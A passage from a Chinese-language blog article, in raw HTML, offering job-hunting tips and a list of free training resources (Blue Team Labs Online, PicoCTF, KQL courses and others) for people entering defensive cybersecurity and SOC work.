none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">环境搭好之后，就开始动手实验。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">搞坏东西。制造可疑活动。分析日志，弄清楚到底发生了什么。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终目标是建立一个&#34;搭建、破坏、防御、修复&#34;的反馈循环，为你应对真实行业工作打下更好的基础。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">求职</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我之前提到的 Neil 的演讲 包含了关于如何在行业中找到工作岗位的出色建议。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">他提到的一个技巧是，查找那些发布你感兴趣岗位的公司，看看谁已经在那里工作。与类似岗位的人建立联系，有时能让你了解公司在寻找什么样的人才、工作内容是什么样的，偶尔还能知道是否有即将出现的机会。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不过，使用这种方法时要避免过于激进。安全公司尤其会对大量添加员工好友的行为保持警惕，所以请以尊重和专业的态度来处理。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我从最近一次演讲中了解到的另一个实用技巧是，查找</span><strong><span leaf="">与行业内公司合作的猎头</span></strong><span leaf="">并直接联系他们。猎头通常在岗位公开发布之前就已经掌握信息，在职业生涯早期就与猎头建立关系会非常有帮助。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更广泛地说，人脉在这个行业中发挥的作用远比许多人认为的要大。</span><strong><span leaf="">LinkedIn</span></strong><span leaf="">、</span><strong><span leaf="">Twitter</span></strong><span leaf="">和行业</span><strong><span leaf="">招聘网站</span></strong><span leaf="">等平台都很有用，但最好的机会往往来自与人面对面交流。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">尽量参加行业会议、参与本地聚会、与志同道合的人交流。安全社区总体上非常开放，在其中建立人脉关系能打开许多仅凭投递简历无法触及的大门。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">资源</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是我整理的各类资源汇总，包括免费课程和数据，以及它们的介绍和用途：</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Blue Team Labs Online</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个以游戏化方式进行防御网络安全挑战训练的在线平台。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">提供实操性的事件调查场景，你可以在其中分析日志、告警和安全事件，体验类似 SOC 分析师的实际工作。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://blueteamlabs.online/" target="_blank">https://blueteamlabs.online/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Hack The Box Academy</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个结构化的网络安全学习平台，提供引导式课程模块和实操实验室。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然以攻防安全闻名，但它也包含出色的蓝队课程模块，涵盖检测工程、事件调查和防御工具。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://academy.hackthebox.com/" target="_blank">https://academy.hackthebox.com/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PicoCTF</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个免费的 CTF (夺旗赛) 平台，涵盖多种安全主题的挑战。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">非常适合通过简短的实操挑战来打好技术基础，涵盖 Web 安全、逆向工程和密码学等领域。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://picoctf.org/" target="_blank">https://picoctf.org/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Kusto Detective Agency</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一款使用 Kusto Query Language (KQL) 解决数据谜题的调查游戏。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有助于培养在 Microsoft Sentinel 和 Defender 环境中使用的日志分析和查询技能。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://detective.kusto.io/" target="_blank">https://detective.kusto.io/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Security Blue Team - Blue Team Level 1 (BTL1)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一项专注于入门级防御网络安全技能的认证。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">涵盖实用的 SOC 基础技能，包括威胁检测、事件响应、数字取证和网络监控。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.securityblue.team/certifications/blue-team-level-1" target="_blank">https://www.securityblue.team/certifications/blue-team-level-1</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Blu Raven Academy - Introduction to KQL for Security Analysis</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一门教授 Kusto Query Language 在安全调查中应用的实操课程。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">KQL 在 Microsoft 安全工具中被广泛使用，对于威胁狩猎和 SOC 分析岗位非常有价值。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://academy.bluraven.io/course/introduction-to-kql-for-security-analysis" target="_blank">https://academy.bluraven.io/course/introduction-to-kql-for-security-analysis</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Cisco Networking Academy - Cybersecurity Courses</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, 